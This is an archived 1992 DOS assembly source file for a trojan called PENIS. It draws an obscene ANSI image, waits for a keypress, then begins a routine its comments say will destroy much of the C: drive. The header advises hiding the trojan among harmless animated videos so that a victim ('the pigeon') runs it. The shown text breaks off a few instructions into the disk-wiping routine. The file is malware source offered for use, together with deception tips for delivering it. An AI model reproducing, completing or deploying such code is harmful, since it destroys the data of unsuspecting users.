home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 226.PENIS.ASM < prev    next >
Assembly Source File  |  1992-09-08  |  22KB  |  351 lines

  1. ; PENIS.ASM [PENIS trojan]
  2. ; Laughing Dog MASM/TASM compatible Assembly-Code file/drive destroyer
  3. ; Created: 9/5/92, assemble and link to .EXE.
  4. ; This piece of code, generated in part by the Laughing Dog 
  5. ; screen maker, will write a squirting ANSI penis to the
  6. ; monitor (ANSI.SYS is NOT needed) and pause. At the press of any key,
  7. ; PENIS trojan will restore the previous video page, reset the cursor
  8. ; and crush a tremendous portion of the C: drive. This is totally
  9. ; compatible with Laughing Dog videos which always pause on screen
  10. ; display. For best results, use Laughing Dog to create any number of 
  11. ; harmless "interesting" animated videos and collect them in one archive
  12. ; with the PENIS trojan.  (They should, however, be thematically consistant.)
  13. ; In this way, the pigeon will enjoy some harmless animated video
  14. ; fun before he stumbles upon PENIS. The Laughing Dog utility, LDOGRAB.EXE,
  15. ; is very handy for capturing interesting screens to Laughing Dog format
  16. ; and was used in the creation of PENIS trojan. The Laughing Dog screen-maker
  17. ; is quality shareware and should you use it, PLEASE remember to register.
  18.  
  19.  
  20. PENIS_LENGTH    EQU     2000        ; ha ha ha ha, a little funny for ya
  21.        .MODEL    small
  22.  
  23.        .STACK    100h                ;256 byte stack
  24.  
  25.        .DATA
  26.  
  27. PENIS_SCREEN LABEL WORD
  28.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  29.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  30.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  31.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  32.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  33.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  34.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  35.         DW      0720H, 0720H, 0EDCH, 0EDCH, 0EDCH, 0EDCH, 0EDCH, 06DCH
  36.         DW      8FDCH, 8FDBH, 8FDFH, 0FFDFH, 8FDCH, 8FDCH, 0720H, 0720H
  37.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  38.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  39.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  40.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  41.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  42.         DW      0720H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
  43.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0720H, 0720H
  44.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0EDCH, 0EDCH, 6EDBH
  45.         DW      6EDFH, 6EDFH, 6EDFH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
  46.         DW      06DBH, 06DBH, 06DDH, 8FDFH, 8F20H, 8FDFH, 0FFDBH, 0FFDCH
  47.         DW      8FDCH, 8F20H, 0FDFH, 0F20H, 0F20H, 0F20H, 0F20H, 0720H
  48.         DW      0F20H, 0F20H, 7120H, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
  49.         DW      07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
  50.         DW      07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
  51.         DW      07DBH, 08DBH, 08DCH, 0820H, 0820H, 0820H, 0F20H, 0F20H
  52.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
  53.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
  54.         DW      0120H, 0EDCH, 0EDCH, 0EDBH, 6EDFH, 6EDFH, 06DBH, 06DBH
  55.         DW      06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
  56.         DW      06DBH, 06DBH, 06DBH, 0620H, 0620H, 8FDFH, 8F20H, 0FFDBH
  57.         DW      0FDCH, 07DCH, 0FDCH, 87DCH, 87DFH, 8720H, 8720H, 0720H
  58.         DW      0743H, 073AH, 075CH, 0754H, 0749H, 0754H, 0754H, 0759H
  59.         DW      073EH, 68DBH, 6820H, 6820H, 6EDFH, 6EDFH, 6EDBH, 07DBH
  60.         DW      6FDBH, 6FDBH, 6EDBH, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
  61.         DW      07DBH, 08DBH, 08DBH, 08DBH, 08DCH, 0820H, 0820H, 0820H
  62.         DW      0820H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
  63.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0120H, 0120H
  64.         DW      0EDEH, 3EDBH, 68B0H, 68B0H, 06DBH, 06DBH, 06DBH, 06DBH
  65.         DW      06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
  66.         DW      06DBH, 06DBH, 06DBH, 06DDH, 0620H, 0620H, 0620H, 0620H
  67.         DW      0FDFH, 0FFDEH, 0FDBH, 0FFDDH, 0FDCH, 0F20H, 87DCH, 0720H
  68.         DW      8720H, 8720H, 7820H, 07DBH, 68DFH, 68DFH, 68DFH, 07DBH
  69.         DW      68DBH, 68DCH, 6820H, 6820H, 6820H, 6820H, 6820H, 07DBH
  70.         DW      6EDBH, 6EDFH, 6EDFH, 07DBH, 6EDFH, 6EDFH, 6E20H, 07DBH
  71.         DW      07DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DCH, 0820H
  72.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
  73.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0120H, 0120H
  74.         DW      0120H, 0120H, 6EDBH, 68B0H, 68B0H, 06DBH, 06DBH, 06DBH
  75.         DW      06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
  76.         DW      06DBH, 06DBH, 06DBH, 06DDH, 0620H, 0620H, 8FDFH, 8F20H
  77.         DW      8FDCH, 0F0DBH, 0FDFH, 0F20H, 0F0DBH, 0FDBH, 0FDBH, 0FFDDH
  78.         DW      0F20H, 0F20H, 7820H, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
  79.         DW      07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
  80.         DW      07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
  81.         DW      07DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DBH
  82.         DW      08DCH, 0820H, 0820H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
  83.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0920H, 0920H, 0920H
  84.         DW      0EDCH, 6EDBH, 6EDFH, 06DBH, 68B0H, 68B0H, 68B0H, 68B0H
  85.         DW      06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
  86.         DW      06DBH, 06DBH, 06DBH, 0720H, 0720H, 0720H, 0720H, 0720H
  87.         DW      0720H, 0720H, 8FDCH, 87DDH, 8FDFH, 0F0DBH, 0FDCH, 0720H
  88.         DW      0F20H, 0F20H, 7820H, 07DBH, 08DBH, 08DBH, 08DBH, 7820H
  89.         DW      7820H, 7820H, 7820H, 7820H, 08DBH, 08DBH, 08DBH, 07DBH
  90.         DW      08DBH, 08DBH, 08DBH, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
  91.         DW      07DBH, 08DBH, 38DFH, 3820H, 38DFH, 38DFH, 38DFH, 38DFH
  92.         DW      38DFH, 38DFH, 03DCH, 03DCH, 03DCH, 03DCH, 03DCH, 03DCH
  93.         DW      03DCH, 03DCH, 03DCH, 03DCH, 03DCH, 03DCH, 03DCH, 3EDFH
  94.         DW      3EDFH, 36DFH, 36DFH, 36DFH, 36DFH, 06DBH, 06DBH, 68B0H
  95.         DW      68B0H, 68B0H, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
  96.         DW      06DBH, 06DBH, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  97.         DW      0720H, 0720H, 0720H, 0FDFH, 0FDCH, 7F20H, 0F20H, 0FDCH
  98.         DW      0F20H, 0F20H, 7320H, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
  99.         DW      7720H, 7720H, 7720H, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
  100.         DW      6720H, 6720H, 6720H, 07DBH, 68DFH, 68DFH, 68DFH, 07DBH
  101.         DW      07DBH, 08DBH, 08DBH, 03DBH, 03DBH, 3320H, 3B53H, 3B50H
  102.         DW      3B45H, 3B43H, 3B49H, 3B41H, 3B4CH, 3B4CH, 3B59H, 3B20H
  103.         DW      3B4CH, 3B55H, 3B42H, 3B52H, 3B49H, 3B43H, 3B41H, 3B54H
  104.         DW      3B45H, 3B44H, 3B20H, 3B20H, 03DBH, 36DEH, 06DBH, 06DBH
  105.         DW      06DBH, 68B0H, 68B0H, 68B0H, 68B0H, 68B0H, 66DBH, 06DBH
  106.         DW      06DBH, 06DFH, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  107.         DW      0720H, 0720H, 87DEH, 0FDCH, 87DBH, 8720H, 87DEH, 8720H
  108.         DW      8720H, 8720H, 7320H, 07DBH, 07DBH, 07DBH, 07DBH, 7720H
  109.         DW      7720H, 7720H, 7720H, 7720H, 7720H, 7720H, 7720H, 7720H
  110.         DW      7720H, 7720H, 7720H, 07DBH, 07DBH, 7720H, 07DBH, 7720H
  111.         DW      07DBH, 08DBH, 08DBH, 03DBH, 3320H, 3320H, 3320H, 3B46H
  112.         DW      3B4FH, 3B52H, 3B20H, 3B20H, 3B48H, 3B45H, 3B52H, 3B20H
  113.         DW      3B20H, 3B50H, 3B4CH, 3B45H, 3B41H, 3B53H, 3B55H, 3B52H
  114.         DW      3B45H, 3B20H, 3B20H, 3B20H, 3B20H, 3B20H, 06DBH, 06DBH
  115.         DW      06DBH, 06DBH, 06DBH, 06DBH, 06DFH, 68B0H, 68B0H, 66DBH
  116.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 8FDCH
  117.         DW      8F20H, 87DDH, 0FDFH, 0F0DBH, 8FDCH, 8F20H, 8F20H, 8F20H
  118.         DW      8F20H, 8F20H, 7B20H, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
  119.         DW      08DBH, 08DBH, 08DBH, 07DBH, 08DBH, 08DBH, 08DBH, 7820H
  120.         DW      7820H, 7820H, 7820H, 07DBH, 68DFH, 68DFH, 68DFH, 07DBH
  121.         DW      07DBH, 08DBH, 08DBH, 38DDH, 03DBH, 3B54H, 3B65H, 3B61H
  122.         DW      3B72H, 03DBH, 3BDCH, 3BDCH, 3BDCH, 3BDCH, 3BDCH, 3BDCH
  123.         DW      3BDCH, 3BDCH, 3BDCH, 3BDCH, 3BDCH, 3BDCH, 3BDCH, 3B20H
  124.         DW      3B20H, 3B48H, 3B65H, 3B72H, 3B65H, 03DBH, 36DEH, 06DBH
  125.         DW      06DBH, 06DBH, 06DBH, 0720H, 0720H, 0720H, 0720H, 0720H
  126.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  127.         DW      0720H, 0720H, 0720H, 87DFH, 0F0DBH, 8FDCH, 0FDFH, 87DDH
  128.         DW      8720H, 8720H, 07DBH, 07DBH, 08DBH, 18DFH, 19DCH, 09DBH
  129.         DW      09DBH, 09DBH, 09DBH, 09DBH, 09DBH, 09DBH, 09DBH, 79DCH
  130.         DW      79DCH, 07DBH, 07DBH, 07DBH, 6720H, 6720H, 6720H, 07DBH
  131.         DW      07DBH, 08DBH, 08DBH, 08DBH, 03DBH, 3F2DH, 03DBH, 3F2DH
  132.         DW      3BDCH, 3BDBH, 3BDFH, 3F2DH, 03DBH, 3F2DH, 3F20H, 3F2DH
  133.         DW      3F20H, 3F2DH, 03DBH, 3F2DH, 03DBH, 3F2DH, 3BDFH, 3BDBH
  134.         DW      3BDCH, 3F2DH, 3F20H, 3F2DH, 3F20H, 3F2DH, 36DEH, 06DBH
  135.         DW      06DBH, 06DBH, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  136.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  137.         DW      0720H, 0720H, 0720H, 0720H, 0FDFH, 0FDCH, 0F0DBH, 87DCH
  138.         DW      8720H, 8720H, 7320H, 7320H, 01DBH, 09DBH, 09DBH, 09DBH
  139.         DW      19DFH, 79DCH, 79DCH, 79DCH, 71DFH, 19DFH, 09DBH, 09DBH
  140.         DW      09DBH, 79DDH, 7920H, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
  141.         DW      07DBH, 08DBH, 08DBH, 08DBH, 38DDH, 03DBH, 03DBH, 3320H
  142.         DW      3BDBH, 3B20H, 3B20H, 03DBH, 3320H, 3B54H, 3B52H, 3B4FH
  143.         DW      3B4AH, 3B41H, 3B4EH, 3B20H, 3B20H, 3B20H, 3B20H, 3B20H
  144.         DW      3BDFH, 3BDBH, 03DBH, 3320H, 03DBH, 03DBH, 36DEH, 06DBH
  145.         DW      06DBH, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  146.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  147.         DW      0720H, 0720H, 0720H, 0720H, 87DCH, 87DDH, 8720H, 0FFDBH
  148.         DW      0F20H, 0F20H, 7320H, 7320H, 78DBH, 18DCH, 19DFH, 09DBH
  149.         DW      19DEH, 09DBH, 09DBH, 7920H, 78DBH, 18DBH, 1820H, 09DBH
  150.         DW      09DBH, 09DBH, 08DBH, 7820H, 08DBH, 08DBH, 08DBH, 07DBH
  151.         DW      07DBH, 08DBH, 08DBH, 08DBH, 38DDH, 03DBH, 03DBH, 3320H
  152.         DW      3BDBH, 3B20H, 3B20H, 03DBH, 3320H, 3BDCH, 3BDCH, 3BDBH
  153.         DW      3BDBH, 3BDBH, 3BDCH, 3BDCH, 3B20H, 3B20H, 3B20H, 3B20H
  154.         DW      3B20H, 3BDFH, 3BDBH, 03DBH, 3320H, 03DBH, 03DBH, 06DFH
  155.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  156.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  157.         DW      0720H, 0720H, 0720H, 0720H, 0F0DCH, 87DEH, 8720H, 0FDCH
  158.         DW      0F20H, 0F20H, 7320H, 7320H, 78DBH, 78DBH, 18DDH, 19DEH
  159.         DW      19DEH, 09DBH, 09DBH, 19DEH, 18DFH, 19DCH, 09DBH, 09DBH
  160.         DW      09DBH, 09DBH, 08DBH, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
  161.         DW      07DBH, 08DBH, 08DBH, 08DBH, 08DBH, 03DBH, 03DBH, 3320H
  162.         DW      3BDBH, 3B20H, 03DBH, 3BDCH, 3BDBH, 3BDBH, 3BDBH, 3BDBH
  163.         DW      3BDBH, 3BDBH, 3BDBH, 3BDBH, 3BDCH, 3B20H, 3B20H, 3B20H
  164.         DW      3B20H, 3B20H, 3BDBH, 3B20H, 3B20H, 3B20H, 03DBH, 03DDH
  165.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  166.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  167.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 87DDH, 8720H, 0F0DBH
  168.         DW      0F20H, 0F20H, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 01DBH
  169.         DW      09DBH, 09DBH, 19DBH, 19DEH, 09DBH, 19DBH, 09DBH, 79DFH
  170.         DW      7920H, 1920H, 09DBH, 09DBH, 09DBH, 09DBH, 09DBH, 09DBH
  171.         DW      09DBH, 09DBH, 09DBH, 09DBH, 09DBH, 38DDH, 3820H, 3820H
  172.         DW      3BDBH, 3B20H, 03DBH, 3BDFH, 03DBH, 3BDBH, 3BDBH, 3BDBH
  173.         DW      3BDBH, 3BDBH, 03DBH, 3BDCH, 3BDCH, 03DBH, 3320H, 3320H
  174.         DW      3320H, 3BDCH, 3BDBH, 3B20H, 3B20H, 3B20H, 3B20H, 03DDH
  175.         DW      0320H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
  176.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
  177.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0720H, 0720H, 0720H
  178.         DW      8F20H, 8F20H, 07DBH, 07DBH, 68DBH, 68DBH, 68DBH, 01DBH
  179.         DW      09DBH, 09DBH, 09DBH, 09DBH, 58DBH, 58DBH, 7820H, 7820H
  180.         DW      7820H, 7820H, 7820H, 7820H, 7820H, 7820H, 71DEH, 19DEH
  181.         DW      19DBH, 19DDH, 19DBH, 19DBH, 38DBH, 18DBH, 13DFH, 19DCH
  182.         DW      19DBH, 39DCH, 3920H, 03DBH, 3BDCH, 3BDBH, 3BDFH, 3BDBH
  183.         DW      3BDFH, 03DBH, 3BDCH, 3BDCH, 3B20H, 3B20H, 3B20H, 31DCH
  184.         DW      19DCH, 09DBH, 09DBH, 09DBH, 09DBH, 39B2H, 39B1H, 39B0H
  185.         DW      0F20H, 0F20H, 0F20H, 0F20H, 08FAH, 0820H, 0720H, 0720H
  186.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  187.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  188.         DW      0820H, 0820H, 07DBH, 07DBH, 68DDH, 68DDH, 68DDH, 18DDH
  189.         DW      19DEH, 09DBH, 09DBH, 19DEH, 09DBH, 09DBH, 19DBH, 09DBH
  190.         DW      1920H, 09DBH, 09DBH, 09DBH, 09DBH, 79DCH, 71DEH, 19DEH
  191.         DW      09DBH, 19DDH, 09DBH, 09DBH, 38DBH, 18DDH, 19DEH, 09DBH
  192.         DW      39DFH, 3BDFH, 3BDBH, 3BDCH, 3BDFH, 03DBH, 3BDCH, 3B20H
  193.         DW      31DCH, 39DCH, 39DCH, 3920H, 31DCH, 39DCH, 39DCH, 19DCH
  194.         DW      09DBH, 09DBH, 09DBH, 39B2H, 39B1H, 39B0H, 3920H, 3920H
  195.         DW      03DDH, 0320H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
  196.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  197.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  198.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  199.         DW      19DEH, 09DBH, 09DBH, 19DEH, 09DBH, 19DDH, 19DCH, 19DCH
  200.         DW      1920H, 09DBH, 09DBH, 19DFH, 09DBH, 09DBH, 19DDH, 19DEH
  201.         DW      09DBH, 19DDH, 09DBH, 09DBH, 1DDFH, 19DCH, 09DBH, 09DBH
  202.         DW      31DCH, 19DCH, 09DBH, 09DBH, 09DBH, 19DDH, 09DBH, 09DBH
  203.         DW      1920H, 09DBH, 09DBH, 01DBH, 09DBH, 09DBH, 19DFH, 19DBH
  204.         DW      19DEH, 09DBH, 09DBH, 09DBH, 09DBH, 59B2H, 59B1H, 59B0H
  205.         DW      5DB0H, 5DB1H, 5DB2H, 5DDBH, 0DDBH, 0DDBH, 0DDBH, 0DDBH
  206.         DW      0DDBH, 0DDBH, 0DDBH, 0DDBH, 0DDBH, 0DDBH, 0DDBH, 0DDBH
  207.         DW      0DDBH, 0DDBH, 0DDBH, 0DDBH, 0DDBH, 0DDBH, 0DDBH, 0DDBH
  208.         DW      5D20H, 5D20H, 05DBH, 05DBH, 05DBH, 05DBH, 05DBH, 15DDH
  209.         DW      19DEH, 09DBH, 09DBH, 19DEH, 09DBH, 19DDH, 59DFH, 59DFH
  210.         DW      1920H, 09DBH, 09DBH, 51DEH, 19DEH, 09DBH, 19DDH, 19DEH
  211.         DW      09DBH, 19DDH, 09DBH, 09DBH, 09DBH, 19DFH, 09DBH, 09DBH
  212.         DW      19DEH, 09DBH, 09DBH, 1920H, 09DBH, 09DBH, 09DBH, 09DBH
  213.         DW      19DDH, 09DBH, 09DBH, 51DFH, 19DFH, 09DBH, 09DBH, 19DCH
  214.         DW      19DEH, 09DBH, 09DBH, 59B2H, 59B1H, 59B0H, 5920H, 5920H
  215.         DW      5920H, 5920H, 5920H, 5920H, 5920H, 5920H, 5920H, 5920H
  216.         DW      5920H, 5920H, 5920H, 5920H, 5920H, 5920H, 5920H, 5920H
  217.         DW      5920H, 5920H, 5920H, 5920H, 5920H, 5920H, 5920H, 5920H
  218.         DW      4920H, 4920H, 4920H, 4920H, 4920H, 4920H, 4920H, 41DEH
  219.         DW      19DEH, 09DBH, 09DBH, 19DEH, 09DBH, 09DBH, 09DBH, 09DBH
  220.         DW      1920H, 09DBH, 09DBH, 41DEH, 19DEH, 09DBH, 19DDH, 19DEH
  221.         DW      09DBH, 19DDH, 09DBH, 09DBH, 4920H, 1920H, 09DBH, 19DBH
  222.         DW      41DFH, 19DFH, 09DBH, 09DBH, 09DBH, 19DFH, 19DEH, 09DBH
  223.         DW      09DBH, 09DBH, 09DBH, 19DDH, 09DBH, 09DBH, 09DBH, 19DFH
  224.         DW      19DEH, 09DBH, 09DBH, 09DBH, 09DBH, 09DBH, 79DBH, 49B2H
  225.         DW      49B1H, 49B0H, 4920H, 4920H, 4920H, 4920H, 4920H, 4920H
  226.         DW      4920H, 4920H, 4920H, 4920H, 4920H, 4920H, 4920H, 4920H
  227.         DW      4920H, 4920H, 4920H, 4920H, 4920H, 4920H, 4920H, 4920H
  228.         DW      2920H, 2920H, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH
  229.         DW      12DCH, 29DFH, 29DFH, 79B2H, 79B2H, 79B2H, 79B2H, 79B1H
  230.         DW      79B2H, 79B2H, 79B2H, 79B1H, 79B2H, 79B2H, 79B0H, 79B2H
  231.         DW      79B2H, 79B2H, 79B2H, 79B2H, 79B0H, 79B0H, 21DFH, 29DFH
  232.         DW      29DFH, 79B2H, 79B2H, 79B1H, 79B1H, 79B1H, 79B2H, 79B2H
  233.         DW      79B2H, 79B1H, 79B1H, 79B2H, 79B2H, 79B2H, 79B1H, 79B1H
  234.         DW      79B2H, 79B2H, 79B2H, 79B1H, 21DFH, 29DFH, 29DFH, 27B2H
  235.         DW      27B1H, 27B0H, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH
  236.         DW      02DBH, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH
  237.         DW      02DBH, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH, 02DBH
  238.         DW      0ADBH, 0ADBH, 0ADBH, 0ADBH, 7ADBH, 7ADBH, 7ADBH, 79B1H
  239.         DW      79B1H, 79B1H, 79B1H, 79B1H, 79B1H, 79B1H, 79B0H, 79B1H
  240.         DW      79B1H, 79B1H, 79B1H, 79B1H, 79B0H, 79B0H, 79B2H, 79B2H
  241.         DW      79B2H, 79B1H, 79B1H, 79B0H, 79B0H, 79B0H, 0ADBH, 79B2H
  242.         DW      79B2H, 79B2H, 79B1H, 79B1H, 79B0H, 79B2H, 79B2H, 79B2H
  243.         DW      79B1H, 79B0H, 79B2H, 79B2H, 79B2H, 79B1H, 79B1H, 79B2H
  244.         DW      79B2H, 79B2H, 79B1H, 79B1H, 79B0H, 79B0H, 7AB0H, 7AB1H
  245.         DW      7AB2H, 0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH
  246.         DW      0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH
  247.         DW      0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH, 0ADBH
  248.         DW      7EDBH, 7EDBH, 7EDBH, 7EDBH, 7EDBH, 7EDBH, 7EDBH, 1FB1H
  249.         DW      1FB1H, 1FB1H, 1FB1H, 1FB1H, 1FB1H, 1FB1H, 1FB1H, 1FB1H
  250.         DW      1FB1H, 79B0H, 79B0H, 79B0H, 79B0H, 1FB1H, 1FB1H, 1FB1H
  251.         DW      1FB1H, 1FB1H, 79B0H, 79B0H, 7920H, 1FB1H, 79B2H, 79B2H
  252.         DW      1FB1H, 1FB1H, 79B0H, 79B0H, 79B2H, 79B2H, 79B1H, 79B0H
  253.         DW      79B0H, 79B2H, 79B2H, 1FB1H, 1FB1H, 79B0H, 79B2H, 79B2H
  254.         DW      1FB1H, 1FB1H, 1FB1H, 7EB1H, 7EB1H, 7EB2H, 7EB2H, 4EDBH
  255.         DW      4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH
  256.         DW      4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH
  257.         DW      4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH, 4EDBH
  258.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  259.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  260.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  261.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  262.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  263.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  264.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  265.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  266.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  267.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  268.         DW      0F20H, 0F20H, 0F20H, 0F20H, 0720H, 0720H, 0720H, 0720H
  269.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  270.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  271.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  272.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  273.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  274.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  275.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  276.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  277.         DW      0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
  278.  
  279.         .CODE
  280.          ;STARTUP CODE  Set up DS, SS and SP Regs.
  281. dogstart:
  282.          mov dx, @data
  283.          mov ds, dx
  284.          mov bx, ss
  285.          sub bx, dx
  286.          shl bx, 1
  287.          shl bx, 1
  288.          shl bx, 1
  289.          shl bx, 1
  290.          cli
  291.          mov ss, dx
  292.          add sp, bx
  293.          sti
  294. ;Actual program begins here
  295.          push   es            ;save es register
  296.          mov    ah,0fh        ;get current video mode
  297.          int    010h
  298.          cmp    al,7          ;is it a monochrome mode?
  299.          jz     mono          ;yes
  300.          mov    ax,0B800h     ;color text video segment
  301.          jmp    SHORT doit
  302. mono:    mov    ax, 0B000h    ;monochrome text video segment
  303. doit:    mov    es,ax
  304.          sub    si,si         ;clear source index counter
  305.          mov    si,offset PENIS_SCREEN ;load destination offset
  306.          sub    di,di         ;clear destination index counter
  307.          mov    cx,PENIS_LENGTH
  308.          rep movsw            ;write to video memory
  309.  
  310.          mov    ah,02h        ;hide cursor
  311.          mov    bh,0          ;assume video page 0
  312.          mov    dx,1A00h      ;moves cursor past bottom of screen
  313.          int    010h
  314. lup:     mov    ah, 01h       ;wait for a keystroke
  315.          int    016h          ;this makes PENIS sporting and I prefer it that
  316.          jz     lup           ;way. Alter the code to disallow if you wish.
  317.          mov    ah,0          ;clear keyboard buffer
  318.          int    016h
  319.  
  320.        ;Clear the screen
  321.          mov    ah, 6         ;function 6 (scroll window up)
  322.          mov    al, 0         ;blank entire screen
  323.          mov    bh, 7         ;attribute to use
  324.          mov    ch, 0         ;starting row
  325.          mov    cl, 0         ;starting column
  326.          mov    dh, 25        ;ending row
  327.          mov    dl, 80        ;ending column
  328.          int    10h           ;call interrupt 10h
  329.  
  330.          mov    ah,02h        ;puts cursor back where it belongs
  331.          mov    bh,0          ;assume video page 0
  332.          mov    dx,0
  333.          int    010h
  334.  
  335.          pop    es            ;restore es register
  336.  ;
  337.  ;Beginning of "crush-the-drive" routine (next 6 opcodes)
  338.  ;
  339.          mov     ax,0002h     ; First argument is 2
  340.          mov     cx,0BB8h     ; Second argument is 3000
  341.          cli                  ; Disable interrupts (no Ctrl-C)
  342.          cwd                  ; Clear DX (start with sector 0)
